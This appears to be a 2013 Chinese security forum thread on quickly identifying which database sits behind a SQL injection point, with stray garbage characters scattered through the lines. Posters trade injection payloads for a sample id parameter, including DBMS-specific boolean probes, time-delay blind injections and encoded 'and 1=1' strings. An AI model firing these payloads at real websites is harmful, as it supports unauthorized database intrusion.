一个注射点如何最快速确认是什么类型数据库
t& j' P) M. \/ `- e7 D2 [: uxsser (十根阳具有长短!!) | 2013-02-05 12:36! T& Z5 ?; a( Q' h
假设这么一个注射点:( u" e& _' Z C& @! i
show.html?id=2
7 m2 Y' f( T* k8 Z2 ~% o4 Umysql:id=2 and version()>0- y& `4 A8 j8 i- g! C
oracle:id=2 and '1'||'1'='11
; ]( l0 u$ L' s其他的欢迎补充
" g9 d# Q z9 S+ j1#$ w" h9 }* T6 N9 [2 ~7 \* R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47+ E: i+ k* P0 l
Access:; J8 G/ c7 R! Z8 o) W
aNd aSc(cHr(97))=97
; h! }& n7 P" Fand exists(select id from MSysAccessObjects)
' F7 U: t. l) ?' VSQL Server:
& V o% d; d6 `+ Z8 E( Y/ }and exists(select id from sysobjects)
. {1 J6 ^1 |7 uand length(user)>0
6 S6 \0 V9 ^/ K+ PMySQL:
; i# Q* q2 T% q% E; [' G( |and length(user())>0
) p$ [( ?, T+ h3 O2#, G% ~( B7 j/ P( _, ]
xsser (十根阳具有长短!!) | 2013-02-05 12:48/ s* \+ d4 P) n7 k8 T* Z% `& l! }
@upload 如果这些都不是呢…: w4 @: J" _) `3 d; X1 P% v; r: Y
3#
9 [) j' }7 ^7 J7 G) T% z' h( Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
8 U# g+ B6 i$ f@xsser 不快速的,延时注入 p0 b0 Q2 X0 i
不知道这样写对不对: t# F# Z; x4 T7 b! _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'8 u. F# C* M( @6 B6 K8 x
mysql:id=2 and select benchmark(1e8,current_date());
3 x& R6 R2 _7 \1 C) i: J4#* P6 N. x4 i* D/ {' ~( i _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
4 F3 z0 ?' r8 p最快的貌似是看报错信息& X% X: g3 T4 W1 y1 x0 t* f
oracle error
- z6 N, `& k. @& \5 qmssql error
7 {7 P% f0 y& w ymysql error1 L5 Z$ G* G: O
5#7 M+ Y8 n& B4 G) n p# L3 o% U4 \
Nimda (你们都是坏银~) | 2013-02-05 13:141 y9 R( l" _, x1 E
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
( E- s5 \: B! V, z4 D2 v6#
. _7 B" Q& a3 G& \9 fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
& @! l8 n5 ]6 U3 W; e! B“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:+ M" I( @+ A6 Q+ k( E, ~: H# V
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
' N* c4 f- ?% d8 ^4 N3 m“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。! [+ p; E7 P/ p' r
7#
3 S- u( O! o. q1 e; `8 E$ U5 f_Evil (HackEnd) | 2013-02-05 13:33
3 i; L! T1 F, U, x& v9 G- OPostgreSQL
3 ?! j4 Z$ |1 E+ K1 {8#
: O* t! i1 H+ H; o% S* Lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42; K8 R: u+ Z+ I" p7 {* B2 V
切换编码 and 1=1/ {- `0 `3 r( c' T+ p1 v1 }! u9 z
oracle:
( f% e* {# E7 l0 A3 o, |9 w1 f* S! gCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0 y* A0 @6 f* j- B6 Ymssql:
) e. i0 i) f8 |CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
4 z5 W1 r# f' ]3 q. Wmysql:8 E" G) g8 b+ [3 X& f' s
CHAR(97, 110, 100, 32, 49, 61, 49)
7 T' P8 n, J& b( O: O4 y, K9#
% V9 |; Y# E9 nxsser (十根阳具有长短!!) | 2013-02-05 14:31
3 M- @# p) ^. \ Q@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
4 U; G% M2 l0 ^: N. U3 y( f1 X x$ s10#
' Y9 I# K* d. Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
, `8 E+ Z) s2 }/ a+ ]8 |, T9 @) |@xsser 是奇葩数据库类型的么?
! V% W: \8 m6 W根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
/ {* V% O' D6 t/ u1.是否可以使用特定的函数来判断,该数据库特有的2 R; `/ C" i, G, K" D# e, |
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
' r! d1 ~7 b8 H* D# N3.是否可以编码查询. o1 \* Y* @$ T& C" p/ w
4.是否显可以利用错信息+ ~6 Y. Y$ A3 }8 B) }, J* E/ J* d# U
5.是否存在数据库某些特性辅助判断
/ U1 r! W. H8 ]0 C# a/ ?& Q个人见解1 L: [2 o4 v$ G$ m$ ^: l: A3 n
11#' k" p9 G+ o( q2 X
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
8 z: ]9 X/ B3 {8 ]; D) s/ j已收藏,mssql可以直接看到错误提示的吧~
. Z/ [1 x2 S* j" i8 e12#
! i+ b$ ]+ [. Q* H$ iPasser_by | 2013-02-05 15:09
7 t8 \) ?6 b& t- l) A& D0 h曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。# q1 W" l) @3 g4 y; X1 t
from:http://zone.wooyun.org/content/260 |